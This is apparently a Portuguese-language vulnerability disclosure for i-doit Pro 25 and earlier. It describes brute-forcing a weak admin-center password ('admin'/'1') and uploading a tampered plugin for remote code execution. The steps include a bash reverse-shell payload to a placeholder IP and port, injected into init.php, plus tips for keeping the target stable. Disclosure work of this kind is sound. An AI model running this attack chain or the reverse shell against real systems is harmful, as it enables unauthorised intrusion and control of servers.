
O i-doit Pro 25 e versões anteriores são vulneráveis a requisitos de senha fracos no admin-center e ao upload de plugins maliciosos, o que leva a vulnerabilidade de RCE. Essas vulnerabilidades podem permitir que um invasor force facilmente a senha ou adivinhe a senha para obter acesso ao admin-center e enviar um plugin malicioso para obter execução remota de código.
Descrição do produto: o i-doit é uma documentação de TI Open Source baseada na web e um CMDB (Configuration Management Database) desenvolvido pela synetics GmbH. O i-doit Pro é a versão comercial do software e requer uma licença paga. Ele vem com recursos adicionais, suporte profissional e atualizações e melhorias regulares. Os usuários precisam comprar uma licença para usar o i-doit Pro, e o custo varia de acordo com o número de usuários e recursos necessários.
Descrição da vulnerabilidade: descobrimos que este aplicativo web possui requisitos de senha fracos na criação de contas do admin-center, onde o proprietário do aplicativo pode até definir uma senha mínima de 1 caractere com o nome de usuário padrão “admin”. Isso pode facilitar que um invasor force ou adivinhe a senha para obter acesso ao admin-center e enviar um plugin malicioso para obter execução remota de código.
Página afetada: página de login do admin-center + instalação de plugin
Parâmetro e componente afetados: página de login do admin-center + instalação de plugin
Etapa 1: como não há requisito de senha ou complexidade de senha implementada na criação de contas do admin-center, podemos começar pela força bruta. A captura de tela abaixo mostra que podemos fazer login com o nome de usuário “admin” e a senha “1”


Etapa 2: navegue até a aba Add-on e escolha upload

Etapa 3: existem alguns requisitos, como o package.json que deve existir, e descobrimos que o alvo implementou async para verificar todas as classes e funções. Mas podemos baixar um plugin adequado do portal do cliente e editar/adicionar no init.php; esta é a maneira mais segura de evitar a queda do sistema ao acionar o payload.
Nota: coloque & no final da linha para evitar a queda do sistema após o payload ser acionado, e init.php é o melhor lugar para injetar o payload
Exemplo: exec ("/bin/bash -c 'bash -i >& /dev/tcp/IP/Port 0>&1 &'");



Nota: lembre-se de compactar novamente em zip e fazer o upload


Nota: clique em Install e depois ative o Add-on selecionado

Nota: seu payload será acionado quando alguém fizer login, pode ser qualquer pessoa.
